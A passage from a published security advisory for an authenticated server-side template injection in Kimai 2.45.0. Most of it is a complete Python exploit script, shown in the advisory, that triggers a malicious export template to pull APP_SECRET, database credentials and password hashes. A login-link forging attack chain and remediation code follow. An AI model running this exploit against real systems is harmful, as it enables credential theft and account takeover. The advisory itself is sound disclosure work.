Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to \u003curl\u003e` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n def __init__(self, target, username, password):\n self.target = target.rstrip(\u0027/\u0027)\n self.session = requests.Session()\n self.username = username\n self.password = password\n \n def login(self):\n \"\"\"Authenticate to Kimai\"\"\"\n print(f\"[*] Connecting to {self.target}\")\n \n try:\n login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n except requests.exceptions.ConnectionError:\n raise Exception(f\"Cannot connect to {self.target}\")\n except requests.exceptions.Timeout:\n raise Exception(f\"Connection timeout to {self.target}\")\n \n if login_page.status_code != 200:\n raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n \n csrf_match = re.search(r\u0027name=\"_csrf_token\"[^\u003e]*value=\"([^\"]+)\"\u0027, login_page.text)\n if not csrf_match:\n raise Exception(\"CSRF token not found on login page\")\n \n csrf = csrf_match.group(1)\n print(f\"[*] Authenticating as {self.username}\")\n \n login_resp = self.session.post(\n f\"{self.target}/en/login_check\",\n data={\n \"_username\": self.username,\n \"_password\": self.password,\n \"_csrf_token\": csrf\n },\n allow_redirects=True,\n timeout=10\n )\n \n # Check for successful login\n if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n raise Exception(\"Invalid username or password\")\n raise Exception(\"Authentication failed - check credentials\")\n \n print(f\"[+] Successfully authenticated as {self.username}\")\n return True\n \n def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n \"\"\"Trigger SSTI via export functionality\"\"\"\n print(f\"[*] Triggering SSTI with template: {template_name}\")\n \n try:\n export_resp = self.session.post(\n f\"{self.target}/en/export/data\",\n data={\n \"renderer\": template_name,\n \"state\": \"3\", # All states\n \"billable\": \"0\", # All billable states\n \"exported\": \"5\", # All export states\n \"markAsExported\": \"0\",\n },\n timeout=60\n )\n except requests.exceptions.Timeout:\n raise Exception(\"Export request timed out\")\n \n if export_resp.status_code == 404:\n raise Exception(f\"Template \u0027{template_name}\u0027 not found - deploy template first\")\n \n if export_resp.status_code == 403:\n raise Exception(\"Access denied - user lacks export permissions\")\n \n if export_resp.status_code != 200:\n raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n \n if b\u0027%PDF\u0027 not in export_resp.content[:10]:\n if b\u0027error\u0027 in export_resp.content.lower() or b\u0027exception\u0027 in export_resp.content.lower():\n raise Exception(\"Template rendering error - check template syntax\")\n raise Exception(\"Invalid response - expected PDF output\")\n \n print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n return export_resp.content\n \n def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n \"\"\"Extract text from PDF using pdftotext\"\"\"\n with open(output_path, \"wb\") as f:\n f.write(pdf_content)\n \n try:\n result = subprocess.run(\n [\"pdftotext\", output_path, \"-\"],\n capture_output=True,\n text=True,\n timeout=30\n )\n if result.returncode != 0:\n print(f\"[-] pdftotext error: {result.stderr}\")\n return None\n return result.stdout\n except FileNotFoundError:\n print(\"[-] pdftotext not installed\")\n print(\" Install with: apt install poppler-utils\")\n return None\n except subprocess.TimeoutExpired:\n print(\"[-] pdftotext timed out\")\n return None\n\n def parse_findings(self, text):\n \"\"\"Parse and categorize extracted data\"\"\"\n findings = {\n \"app_secret\": None,\n \"database_url\": None,\n \"password_hashes\": [],\n \"session_token\": None,\n \"csrf_tokens\": []\n }\n \n lines = text.split(\u0027\\n\u0027)\n for i, line in enumerate(lines):\n line = line.strip()\n \n if \"APP_SECRET:\" in line:\n findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n \n if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n if \"mysql://\" in line:\n findings[\"database_url\"] = line.strip()\n elif i + 1 \u003c len(lines):\n findings[\"database_url\"] = lines[i + 1].strip()\n \n if \"$2y$\" in line:\n findings[\"password_hashes\"].append(line)\n \n if \"UsernamePasswordToken\" in line:\n findings[\"session_token\"] = \"Present (serialized PHP object)\"\n \n if \"_csrf\" in line.lower() or len(line) == 43:\n if \":\" in line:\n findings[\"csrf_tokens\"].append(line)\n \n return findings\n\n\ndef print_banner():\n print(\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 Kimai 2.45.0 - SSTI Information Disclosure Exploit \u2551\n\u2551 \u2551\n\u2551 Extracts: APP_SECRET, DATABASE_URL, Password Hashes \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n\ndef main():\n print_banner()\n \n if len(sys.argv) \u003c 4:\n print(\"Usage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\")\n print()\n print(\"Arguments:\")\n print(\" target_url - Kimai instance URL (e.g., http://localhost:8001)\")\n print(\" username - Valid admin username\")\n print(\" password - User password\")\n print(\" template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n print()\n print(\"Example:\")\n print(\" python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n print()\n print(\"Prerequisites:\")\n print(\" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n print(\" 2. User must have export permissions (ROLE_ADMIN or higher)\")\n sys.exit(1)\n \n target = sys.argv[1]\n username = sys.argv[2]\n password = sys.argv[3]\n template = sys.argv[4] if len(sys.argv) \u003e 4 else \"ssti-extract.pdf.twig\"\n \n exploit = KimaiSSTIExploit(target, username, password)\n \n try:\n # Step 1: Authenticate\n exploit.login()\n \n # Step 2: Trigger SSTI\n pdf_content = exploit.trigger_ssti(template)\n \n # Step 3: Save PDF\n output_file = \"kimai_extracted_data.pdf\"\n with open(output_file, \"wb\") as f:\n f.write(pdf_content)\n print(f\"[+] PDF saved to: {output_file}\")\n \n # Step 4: Extract and display text\n text = exploit.extract_text(pdf_content)\n if text:\n print()\n print(\"=\"*60)\n print(\"RAW EXTRACTED DATA:\")\n print(\"=\"*60)\n print(text[:2000])\n if len(text) \u003e 2000:\n print(f\"\\n... [{len(text) - 2000} more characters]\")\n \n # Parse findings\n findings = exploit.parse_findings(text)\n \n print()\n print(\"=\"*60)\n print(\"CRITICAL FINDINGS SUMMARY:\")\n print(\"=\"*60)\n \n if findings[\"app_secret\"]:\n print(f\"[!] APP_SECRET: {findings[\u0027app_secret\u0027]}\")\n \n if findings[\"database_url\"]:\n print(f\"[!] DATABASE_URL: {findings[\u0027database_url\u0027]}\")\n \n if findings[\"password_hashes\"]:\n unique_hashes = list(set(findings[\"password_hashes\"]))\n print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n for h in unique_hashes[:5]:\n print(f\" {h[:80]}...\")\n if len(unique_hashes) \u003e 5:\n print(f\" ... and {len(unique_hashes) - 5} more\")\n \n if findings[\"session_token\"]:\n print(f\"[!] Session Token: {findings[\u0027session_token\u0027]}\")\n \n if findings[\"csrf_tokens\"]:\n print(f\"[!] CSRF Tokens: {len(findings[\u0027csrf_tokens\u0027])} found\")\n \n print()\n print(\"[+] Exploitation successful!\")\n print(f\"[+] Full output saved to: {output_file}\")\n return 0\n \n except KeyboardInterrupt:\n print(\"\\n[-] Interrupted by user\")\n return 130\n except Exception as e:\n print(f\"[-] Exploitation failed: {e}\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI \u2192 Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user\u0027s account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n\n// To:\n$this-\u003epolicy-\u003eaddPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n ```php\n public function checkMethodAllowed($obj, $method): void\n {\n if ($obj instanceof Request \u0026\u0026 $method === \u0027getServer\u0027) {\n throw new SecurityError(\u0027Server access not allowed\u0027);\n }\n }\n ```\n\n2. **Block session access in templates:**\n ```php\n if ($obj instanceof Session) {\n throw new SecurityError(\u0027Session access not allowed\u0027);\n }\n ```\n\n3. **Restrict User object property access:**\n ```php\n if ($obj instanceof User \u0026\u0026 $method === \u0027getPassword\u0027) {\n throw new SecurityError(\u0027Password access not allowed\u0027);\n }\n ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli",
"id": "GHSA-jg2j-2w24-54cg",
"modified": "2026-01-20T17:07:13Z",
"published": "2026-01-20T17:07:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23626"
},
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/pull/5757"
},
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
},
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/releases/tag/2.46.0"
},
{
"type": "WEB",
"url": "https://twig.symfony.com/doc/3.x/api.html#sandbox-extension"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kimai has an Authenticated Server-Side Template Injection (SSTI)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.